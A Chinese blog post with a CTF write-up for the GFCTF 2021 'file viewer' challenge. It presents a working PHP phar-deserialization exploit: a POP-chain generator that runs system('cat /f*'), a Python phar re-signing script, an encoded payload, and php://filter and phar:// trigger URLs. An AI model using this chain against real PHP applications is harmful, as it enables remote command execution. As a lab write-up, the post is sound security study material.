2025-8-20-每日一题

[GFCTF 2021]文件查看器

弱密码爆破admin/admin进入
这如题目所说是个文件查看器

点击查看代码
<?php
    function __autoload($className) {
        include("class/".$className.".class.php");
    }

    if(!isset($_GET['c'])){
        header("location:./?c=User&m=login");
    }else{
        $c=$_GET['c'];
        $class=new $c();
        if(isset($_GET['m'])){
            $m=$_GET['m'];
            $class->$m();
        }
    }
先看看index.php

图片

然后发现有www.zip泄露
图片
有这些文件
先看Files.class.php

点击查看代码
<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

Myerror.class.php

点击查看代码
<?php
    class Myerror{
        public $message;

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

User.class.php

点击查看代码
<?php
	error_reporting(0);
    class User{
        public $username;
        public $password;

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }

        public function __call($name,$arg){ 
            ($name)();
        }
    }

我们先来把三个代码整合下

点击查看代码
<?php
    class User{
        public $username;
        public $password;
        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户";
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();
        }
    }
    class Files{
        public $filename;
        public function __get($key){
            ($key)($this->arg);
        }
    }

    class Myerror{
        public $message;
        public function __tostring(){
            $test=$this->message->{$this->test};
            return "test";
        }
    }

这篇文章写的很好

写了GC回收机制,利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测
然后是链子,
User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()
exp生成phar

点击查看代码
<?php
class User{
    public $username;
    public $password;
}
class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);

$phar = new Phar("xinghe.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

根据上面我们要利用gc回收机制
图片
把图示出的1改成0
之后由于我们修改phar,我们要恢复一下
利用脚本重新生成

点击查看代码
from hashlib import sha1
f = open('xinghe.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('xinghe1.phar', 'wb').write(newf) # 写入新文件

然后我们利用伪协议读取
直接上传或使用Phar文件可能会因为包含特殊字符(如空字节)被拦截或处理错误。需要对此Phar文件进行一系列编码转换:
1.Base64编码: base64_encode($phar_content)
2.UCS-2转换: iconv('utf-8', 'UCS-2', $base64_encoded_content) (每个字符后会产生空字节\0)
3.Quoted-printable编码: quoted_printable_encode($ucs2_content) (处理空字节等非ASCII字符,将其转换为=00等形式)
目的是使Payload能够安全通过传输或存储,并在最终被解码回原始形式。

点击查看代码
<?php
$a=file_get_contents('xinghe1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('1.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('1.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏


生成后代码

点击查看代码
=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00v=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=005=00A=00A=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00O=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00T=00j=00t=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00C=00S=00T=00p=00m=00g=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00J=00v=000=00D=00c=004=00P=00m=008=002=00z=00K=00Z=00c=00L=00S=00N=00m=00y=00m=00i=006=00W=004=00G=00S=00W=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00=3D

之后我们提交下
图片

一步步解码就行

点击查看代码
php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

图片

要点重写文件

点击查看代码
php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

图片

要点重写文件

点击查看代码
php://filter/read=convert.base64-decode/resource=log/error.txt

图片

要点重写文件

点击查看代码
phar://log/error.txt
最后用phar读取,就不用点重写文件

图片

拿到flag

posted @ 2025-08-21 13:02  xinghe123*  阅读(3)  评论(0)    收藏  举报